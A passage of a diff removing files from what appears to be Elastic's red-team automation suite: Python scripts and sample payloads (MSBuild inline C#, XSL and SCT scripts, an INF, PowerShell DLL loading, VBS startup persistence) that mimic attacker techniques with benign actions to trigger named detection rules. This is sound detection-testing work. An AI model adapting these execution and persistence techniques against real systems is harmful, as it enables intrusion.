rdr_cef_dir = Path("C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF")
|
||||
rdrcef_exe = rdr_cef_dir / "RdrCEF.exe"
|
||||
cmd_path = "C:\\Windows\\System32\\cmd.exe"
|
||||
backup = Path("xxxxxx").resolve()
|
||||
backedup = False
|
||||
|
||||
# backup original if it exists
|
||||
if rdrcef_exe.is_file():
|
||||
common.log(f"{rdrcef_exe} already exists, backing up file.")
|
||||
common.copy_file(rdrcef_exe, backup)
|
||||
backedup = True
|
||||
else:
|
||||
common.log(f"{rdrcef_exe} doesn't exist. Creating path.")
|
||||
rdr_cef_dir.mkdir(parents=True)
|
||||
|
||||
# overwrite original
|
||||
common.copy_file(cmd_path, rdrcef_exe)
|
||||
|
||||
# cleanup
|
||||
if backedup:
|
||||
common.log("Putting back backup copy.")
|
||||
common.copy_file(backup, rdrcef_exe)
|
||||
backup.unlink()
|
||||
else:
|
||||
common.remove_file(rdrcef_exe)
|
||||
rdr_cef_dir.rmdir()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -1,39 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="e5d376ae-d634-41fa-903c-42f35736a615",
|
||||
platforms=["macos"],
|
||||
endpoint=[],
|
||||
siem=[
|
||||
{
|
||||
"rule_name": "Suspicious Child Process of Adobe Acrobat Reader Update Service",
|
||||
"rule_id": "f85ce03f-d8a8-4c83-acdc-5c8cd0592be7",
|
||||
}
|
||||
],
|
||||
techniques=["T1068"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
|
||||
masquerade = "/tmp/com.adobe.ARMDC.SMJobBlessHelper"
|
||||
common.create_macos_masquerade(masquerade)
|
||||
|
||||
# Execute command
|
||||
common.log("Launching fake com.adobe.ARMDC.SMJobBlessHelper commands to adobe mimic privesc")
|
||||
common.execute([masquerade, "childprocess", masquerade], timeout=10, kill=True)
|
||||
|
||||
# cleanup
|
||||
common.remove_file(masquerade)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,47 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="ea7c50ad-5736-48c7-bf39-50f708710826",
|
||||
platforms=["macos"],
|
||||
endpoint=[
|
||||
{
|
||||
"rule_name": "Script Execution via macOS Application Bundle",
|
||||
"rule_id": "94a891a9-3771-4a8c-a6ca-82fa66cfd7e2",
|
||||
}
|
||||
],
|
||||
siem=[],
|
||||
techniques=["T1553", "T1059"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
|
||||
# create masquerades
|
||||
masquerade = "/tmp/launchd"
|
||||
masquerade2 = "/tmp/bash"
|
||||
masquerade3 = "/tmp/curl"
|
||||
common.create_macos_masquerade(masquerade)
|
||||
common.create_macos_masquerade(masquerade2)
|
||||
common.create_macos_masquerade(masquerade3)
|
||||
|
||||
# Execute command
|
||||
common.log("Launching fake macOS application bundler commands")
|
||||
command = f"{masquerade2} test.app/Contents/MacOS/test-psntest"
|
||||
common.execute([masquerade, "childprocess", command], timeout=10, kill=True)
|
||||
common.execute([masquerade2, "childprocess", masquerade3], timeout=10, kill=True)
|
||||
|
||||
# cleanup
|
||||
common.remove_file(masquerade)
|
||||
common.remove_file(masquerade2)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,46 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from pathlib import Path
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="9e87748e-9866-4b6b-832d-5cba4dda14e8",
|
||||
platforms=["macos"],
|
||||
endpoint=[
|
||||
{
|
||||
"rule_name": "Potential Default Application Hijacking",
|
||||
"rule_id": "5d2c3833-a36a-483a-acea-5bf8cf363a81",
|
||||
}
|
||||
],
|
||||
siem=[],
|
||||
techniques=["T1574"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
|
||||
app_dir = Path("/Applications/test/Contents/")
|
||||
app_dir.mkdir(parents=True, exist_ok=True)
|
||||
masquerade = str(app_dir / "hijack")
|
||||
common.create_macos_masquerade(masquerade)
|
||||
masquerade2 = "/tmp/open"
|
||||
common.create_macos_masquerade(masquerade2)
|
||||
|
||||
# Execute command
|
||||
common.log("Launching fake open commands to mimic hijacking applications")
|
||||
command = f"{masquerade2} -a /System/Applications/*"
|
||||
common.execute([masquerade, "childprocess", command], timeout=10, kill=True)
|
||||
|
||||
# cleanup
|
||||
common.remove_directory(str(app_dir))
|
||||
common.remove_file(masquerade2)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,44 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
# Name: Application Compatibility Shims
|
||||
# RTA: appcompat_shim.py
|
||||
# ATT&CK: T1138
|
||||
# Description: Use sdbinst.exe to install a binary patch/application shim.
|
||||
|
||||
import time
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="a4a8608e-d94f-4eb1-b500-738328307bbc",
|
||||
platforms=["windows"],
|
||||
endpoint=[],
|
||||
siem=[
|
||||
{"rule_id": "fd4a992d-6130-4802-9ff8-829b89ae801f", "rule_name": "Potential Application Shimming via Sdbinst"}
|
||||
],
|
||||
techniques=["T1546"],
|
||||
)
|
||||
|
||||
|
||||
SHIM_FILE = common.get_path("bin", "CVE-2013-3893.sdb")
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
@common.dependencies(SHIM_FILE)
|
||||
def main():
|
||||
common.log("Application Compatibility Shims")
|
||||
|
||||
common.execute(["sdbinst.exe", "-q", "-p", SHIM_FILE])
|
||||
time.sleep(2)
|
||||
|
||||
common.log("Removing installed shim", log_type="-")
|
||||
common.execute(["sdbinst.exe", "-u", SHIM_FILE])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,75 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
# Name: AT Command Lateral Movement
|
||||
# RTA: at_command.py
|
||||
# ATT&CK: T1053
|
||||
# Description: Enumerates at tasks on target host, and schedules an at job for one hour in the future. Then checks the
|
||||
# status of that task, and deletes the task.
|
||||
|
||||
import datetime
|
||||
import re
|
||||
import sys
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="961d7a1f-7bad-41d5-a3d9-8e8a2f59a824",
|
||||
platforms=["windows"],
|
||||
endpoint=[],
|
||||
siem=[],
|
||||
techniques=[]
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main(target_host=None):
|
||||
target_host = target_host or common.get_ip()
|
||||
host_str = "\\\\%s" % target_host
|
||||
|
||||
# Current time at \\localhost is 11/16/2017 11:25:50 AM
|
||||
code, output = common.execute(["net", "time", host_str])
|
||||
match = re.search(r"Current time at .*? is (\d+)/(\d+)/(\d+) (\d+):(\d+):(\d+) (AM|PM)", output)
|
||||
groups = match.groups()
|
||||
m, d, y, hh, mm, ss, period = groups
|
||||
now = datetime.datetime(
|
||||
month=int(m),
|
||||
day=int(d),
|
||||
year=int(y),
|
||||
hour=int(hh),
|
||||
minute=int(mm),
|
||||
second=int(ss),
|
||||
)
|
||||
if period == "PM" and hh != "12":
|
||||
now += datetime.timedelta(hours=12)
|
||||
|
||||
# Add one hour
|
||||
task_time = now + datetime.timedelta(hours=1)
|
||||
|
||||
# Round down minutes
|
||||
time_string = "%d:%d" % (task_time.hour, task_time.minute)
|
||||
|
||||
# Enumerate all remote tasks
|
||||
common.execute(["at.exe", host_str])
|
||||
|
||||
# Create a job 1 hour into the future
|
||||
code, output = common.execute(["at", host_str, time_string, "cmd /c echo hello world"])
|
||||
|
||||
if code == 1 and "deprecated" in output:
|
||||
common.log("Unable to continue RTA. Not supported in this version of Windows")
|
||||
return common.UNSUPPORTED_RTA
|
||||
|
||||
if code == 0:
|
||||
job_id = re.search("ID = (\d+)", output).group(1)
|
||||
|
||||
# Check status and delete
|
||||
common.execute(["at.exe", host_str, job_id])
|
||||
common.execute(["at.exe", host_str, job_id, "/delete"])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main(*sys.argv[1:]))
|
||||
@@ -1,32 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="084c5d8f-2578-4fe0-bc6f-f6c44205804a",
|
||||
platforms=["macos"],
|
||||
endpoint=[
|
||||
{
|
||||
"rule_name": "At Job Creation or Modification by an Unusual Process",
|
||||
"rule_id": "779f18ce-1457-457c-80e1-3a5d146c2dc0",
|
||||
}
|
||||
],
|
||||
siem=[],
|
||||
techniques=["T1053", "T1053.002"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
|
||||
common.log("Executing file creation on /private/var/at/jobs/test.")
|
||||
common.temporary_file_helper("testing", file_name="/private/var/at/jobs/test")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,39 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from pathlib import Path
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="72c2470b-c96e-4b44-88ec-1a67c4ec091c",
|
||||
platforms=["macos"],
|
||||
endpoint=[],
|
||||
siem=[
|
||||
{
|
||||
"rule_name": "Potential Persistence via Atom Init Script Modification",
|
||||
"rule_id": "b4449455-f986-4b5a-82ed-e36b129331f7",
|
||||
}
|
||||
],
|
||||
techniques=["T1037"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
|
||||
atom_dir = Path.home().joinpath(".atom")
|
||||
atom_dir.mkdir(parents=True, exist_ok=True)
|
||||
atom_path = atom_dir.joinpath("init.coffee")
|
||||
common.log(f"Executing file modification on {atom_path} to mimic malicious Atom init file.")
|
||||
common.temporary_file_helper("testing", file_name=atom_path)
|
||||
|
||||
# cleanup
|
||||
common.remove_directory(str(atom_dir))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,36 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
import sys
|
||||
|
||||
from . import RtaMetadata, common
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="a078ecca-e8b8-4ae8-a76c-3238e74ca34d",
|
||||
platforms=["linux"],
|
||||
endpoint=[
|
||||
{"rule_id": "13fd98ce-f1c3-423f-9441-45c50eb462c0", "rule_name": "Attempt to etablish VScode Remote Tunnel"},
|
||||
],
|
||||
siem=[],
|
||||
techniques=["T1102", "T1059"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main() -> None:
|
||||
masquerade = "/tmp/code"
|
||||
source = common.get_path("bin", "linux.ditto_and_spawn")
|
||||
common.copy_file(source, masquerade)
|
||||
|
||||
# Execute command
|
||||
common.log("Executing Fake commands to test Attempt to etablish VScode Remote Tunnel")
|
||||
common.execute([masquerade, "tunnel"], timeout=10, kill=True)
|
||||
|
||||
# cleanup
|
||||
common.remove_file(masquerade)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -1,27 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="96c3cc10-7f86-428c-b353-e9de52472a96",
|
||||
platforms=["macos"],
|
||||
endpoint=[],
|
||||
siem=[{"rule_name": "Authorization Plugin Modification", "rule_id": "e6c98d38-633d-4b3e-9387-42112cd5ac10"}],
|
||||
techniques=["T1547"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
|
||||
common.log("Executing file modification on test.plist to mimic authorization plugin modification")
|
||||
common.temporary_file_helper("testing", file_name="/Library/Security/SecurityAgentPlugins/test.plist")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,41 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="6294e8bd-a82e-4d60-9de7-cceb639e91d9",
|
||||
platforms=["macos"],
|
||||
endpoint=[
|
||||
{"rule_name": "Suspicious Automator Workflows Execution", "rule_id": "e390d36d-c739-43ee-9e3d-5a76fa853bd5"}
|
||||
],
|
||||
siem=[{"rule_name": "Suspicious Automator Workflows Execution", "rule_id": "5d9f8cfc-0d03-443e-a167-2b0597ce0965"}],
|
||||
techniques=["T1059"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
|
||||
# create masquerades
|
||||
masquerade = "/tmp/automator"
|
||||
masquerade2 = "/tmp/com.apple.automator.runner"
|
||||
common.create_macos_masquerade(masquerade)
|
||||
common.copy_file("/usr/bin/curl", masquerade2)
|
||||
|
||||
# Execute command
|
||||
common.log("Launching fake commands to launch Automator workflows")
|
||||
common.execute([masquerade], timeout=10, kill=True)
|
||||
common.execute([masquerade2, "portquiz.net"], timeout=10, kill=True)
|
||||
|
||||
# cleanup
|
||||
common.remove_file(masquerade)
|
||||
common.remove_file(masquerade2)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,36 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="fa2bbba7-66f4-4fd6-9c81-599d58fe67e8",
|
||||
platforms=["macos"],
|
||||
endpoint=[
|
||||
{"rule_name": "Background Process Execution via Shell", "rule_id": "603ac59e-9cca-4c48-9750-e38399079043"}
|
||||
],
|
||||
siem=[],
|
||||
techniques=["T1059", "T1059.004"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
|
||||
masquerade = "/tmp/sh"
|
||||
common.create_macos_masquerade(masquerade)
|
||||
|
||||
common.log("Executing background processes via sh from tmp directory.")
|
||||
command = 'bash -c "/* &"'
|
||||
common.execute([masquerade, "childprocess", command], shell=True, timeout=5, kill=True)
|
||||
|
||||
# cleanup
|
||||
common.remove_file(masquerade)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,36 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
import sys
|
||||
|
||||
from . import RtaMetadata, common
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="631a211d-bdaa-4b9d-a786-31d84d7bc070",
|
||||
platforms=["linux"],
|
||||
endpoint=[
|
||||
{"rule_id": "31da6564-b3d3-4fc8-9a96-75ad0b364363", "rule_name": "Tampering of Bash Command-Line History"},
|
||||
],
|
||||
siem=[],
|
||||
techniques=["T1070", "T1070.003"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main() -> None:
|
||||
masquerade = "/tmp/history"
|
||||
source = common.get_path("bin", "linux.ditto_and_spawn")
|
||||
common.copy_file(source, masquerade)
|
||||
|
||||
# Execute command
|
||||
common.log("Launching fake builtin commands for tampering of bash command line history")
|
||||
command = "-c"
|
||||
common.execute([masquerade, command], timeout=10, kill=True, shell=True) # noqa: S604
|
||||
# cleanup
|
||||
common.remove_file(masquerade)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -1,36 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="057f2c1b-28cc-4286-92ce-75e789aa8e74",
|
||||
platforms=["macos"],
|
||||
endpoint=[
|
||||
{"rule_name": "Potential Kerberos Attack via Bifrost", "rule_id": "fecebe4f-2d28-46e7-9bc1-71cdd8ecdd60"}
|
||||
],
|
||||
siem=[{"rule_name": "Potential Kerberos Attack via Bifrost", "rule_id": "16904215-2c95-4ac8-bf5c-12354e047192"}],
|
||||
techniques=["T1558", "T1550"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
|
||||
masquerade = "/tmp/bifrost"
|
||||
common.create_macos_masquerade(masquerade)
|
||||
|
||||
# Execute command
|
||||
common.log("Launching fake bifrost attack with kerberoast commands")
|
||||
common.execute([masquerade, "-action", "-kerberoast"], timeout=10, kill=True)
|
||||
|
||||
# cleanup
|
||||
common.remove_file(masquerade)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,65 +0,0 @@
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!-- This inline task executes c# code. -->
|
||||
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
|
||||
<!-- Save This File And Execute The Above Command -->
|
||||
<!-- Author: Casey Smith, Twitter: @subTee -->
|
||||
<!-- License: BSD 3-Clause -->
|
||||
<Target Name="Hello">
|
||||
<FragmentExample />
|
||||
<ClassExample />
|
||||
</Target>
|
||||
<UsingTask
|
||||
TaskName="FragmentExample"
|
||||
TaskFactory="CodeTaskFactory"
|
||||
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
|
||||
<ParameterGroup/>
|
||||
<Task>
|
||||
<Using Namespace="System" />
|
||||
<Code Type="Fragment" Language="cs">
|
||||
<![CDATA[
|
||||
Console.WriteLine("Hello From a Code Fragment");
|
||||
]]>
|
||||
</Code>
|
||||
</Task>
|
||||
</UsingTask>
|
||||
<UsingTask
|
||||
TaskName="ClassExample"
|
||||
TaskFactory="CodeTaskFactory"
|
||||
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
|
||||
<Task>
|
||||
<!-- <Reference Include="System.IO" /> Example Include -->
|
||||
<Reference Include="System.Xml" />
|
||||
<Code Type="Class" Language="cs">
|
||||
<![CDATA[
|
||||
using System;
|
||||
using Microsoft.Build.Framework;
|
||||
using Microsoft.Build.Utilities;
|
||||
using System.Xml;
|
||||
|
||||
public class ClassExample : Task, ITask
|
||||
{
|
||||
public static void XMLGet()
|
||||
{
|
||||
try
|
||||
{
|
||||
Console.WriteLine("XML Get Request...");
|
||||
var xmlDoc = new XmlDocument();
|
||||
xmlDoc.Load("http://127.0.0.1:8000");
|
||||
}
|
||||
catch
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
public override bool Execute()
|
||||
{
|
||||
Console.WriteLine("Hello From a Class.");
|
||||
XMLGet();
|
||||
return true;
|
||||
}
|
||||
}
|
||||
]]>
|
||||
</Code>
|
||||
</Task>
|
||||
</UsingTask>
|
||||
</Project>
|
||||
Binary file not shown.
@@ -1,16 +0,0 @@
|
||||
function ExecFromISO {
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter()]
|
||||
[string] $ISOFile,
|
||||
[string] $procname,
|
||||
[string] $cmdline
|
||||
)
|
||||
$MountMeta = Mount-DiskImage -ImagePath $ISOFile -StorageType ISO -Access ReadOnly
|
||||
$DriveLetter = ($MountMeta | Get-Volume).DriveLetter
|
||||
if ($cmdline) {Start-Process -FilePath "$($DriveLetter):\$($procname)" -ArgumentList "$($cmdline)";}
|
||||
else {Start-Process -FilePath "$($DriveLetter):\$($procname)" -WorkingDirectory "$($DriveLetter):\"}
|
||||
Start-Sleep -s 2
|
||||
Stop-process -name $procname -Force -ErrorAction ignore
|
||||
Dismount-DiskImage -ImagePath $ISOFile | Out-Null
|
||||
}
|
||||
Binary file not shown.
@@ -1,27 +0,0 @@
|
||||
function Invoke-ImageLoad {
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Position=0,Mandatory=$True)]
|
||||
[String]
|
||||
$DllPath
|
||||
)
|
||||
|
||||
$type=@"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
public class ImportIt
|
||||
{
|
||||
public const string DLLPath = @"$DLLPath";
|
||||
[DllImport(DLLPath, EntryPoint = "GetClassNameW", CharSet = CharSet.Unicode)]
|
||||
public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type);
|
||||
|
||||
public static void Main()
|
||||
{
|
||||
MessageBox(new IntPtr(0), "Hello RTA!", "Hello Dialog", 0);
|
||||
}
|
||||
}
|
||||
"@
|
||||
Add-Type -TypeDefinition $type;
|
||||
[ImportIt]::Main();
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,14 +0,0 @@
|
||||
PowerSploit is provided under the 3-clause BSD license below.
|
||||
|
||||
*************************************************************
|
||||
|
||||
Copyright (c) 2012, Matthew Graeber
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
|
||||
Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||
The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,4 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
@@ -1,11 +0,0 @@
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<script language="javascript" type="text/javascript">
|
||||
|
||||
var xhr=new ActiveXObject("Msxml2.XMLHttp.6.0");
|
||||
xhr.open("GET","http://127.0.0.1:8000",false);
|
||||
xhr.send();
|
||||
|
||||
</script>
|
||||
</HEAD>
|
||||
</HTML>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,21 +0,0 @@
|
||||
<?xml version='1.0'?>
|
||||
<xsl:stylesheet version="1.0"
|
||||
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
||||
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
|
||||
xmlns:user="http://mycompany.com/mynamespace">
|
||||
|
||||
<xsl:output encoding="UTF-8" indent="yes" method="xml" />
|
||||
<msxsl:script language="JScript" implements-prefix="user">
|
||||
function xml(nodelist)
|
||||
{
|
||||
var xhr=new ActiveXObject("Msxml2.XMLHttp.6.0");
|
||||
xhr.open("GET","http://127.0.0.1:8000",false);
|
||||
xhr.send();
|
||||
|
||||
return nodelist.nextNode().xml;
|
||||
}
|
||||
</msxsl:script>
|
||||
<xsl:template match="/">
|
||||
<xsl:value-of select="user:xml(.)"/>
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
@@ -1,14 +0,0 @@
|
||||
<?xml version="1.0"?>
|
||||
<?xml-stylesheet type="text/xsl" href="script.xsl" ?>
|
||||
<customers>
|
||||
<customer>
|
||||
<name>John Smith</name>
|
||||
<address>123 Elm St.</address>
|
||||
<phone>(123) 456-7890</phone>
|
||||
</customer>
|
||||
<customer>
|
||||
<name>Mary Jones</name>
|
||||
<address>456 Oak Ave.</address>
|
||||
<phone>(156) 789-0123</phone>
|
||||
</customer>
|
||||
</customers>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,12 +0,0 @@
|
||||
<?XML version="1.0"?>
|
||||
<scriptlet>
|
||||
<registration
|
||||
progid="TESTING"
|
||||
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
|
||||
<script language="JScript">
|
||||
<![CDATA[
|
||||
var foo = new ActiveXObject("WScript.Shell").Run("notepad.exe");
|
||||
]]>
|
||||
</script>
|
||||
</registration>
|
||||
</scriptlet>
|
||||
@@ -1,9 +0,0 @@
|
||||
[version]
|
||||
Signature=$chicago$
|
||||
AdvancedINF=2.5
|
||||
|
||||
[DefaultInstall_SingleUser]
|
||||
UnRegisterOCXs=UnRegisterOCXSection
|
||||
|
||||
[UnRegisterOCXSection]
|
||||
%11%\scrobj.dll,NI,C:\Users\Administrator\Desktop\rta\bin\notepad.sct
|
||||
@@ -1,123 +0,0 @@
|
||||
dim shellobj
|
||||
dim fs
|
||||
dim logFile
|
||||
|
||||
set fs = CreateObject("Scripting.FileSystemObject")
|
||||
set shellObj = WScript.CreateObject("wscript.shell")
|
||||
|
||||
name = "rta-vbs-persistence"
|
||||
logPath = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & ".log"
|
||||
|
||||
set logFile = fs.OpenTextFile(logPath, 8, True)
|
||||
|
||||
startupDir = shellObj.SpecialFolders("Startup")
|
||||
shortcutLink = startupDir & "\" & name & "-startup.lnk"
|
||||
|
||||
startupTarget = startupDir & "\" & name & "-startup.vbs"
|
||||
shortcutTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-startup-shortcut.vbs"
|
||||
taskTarget = shellObj.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & name & "-task.vbs"
|
||||
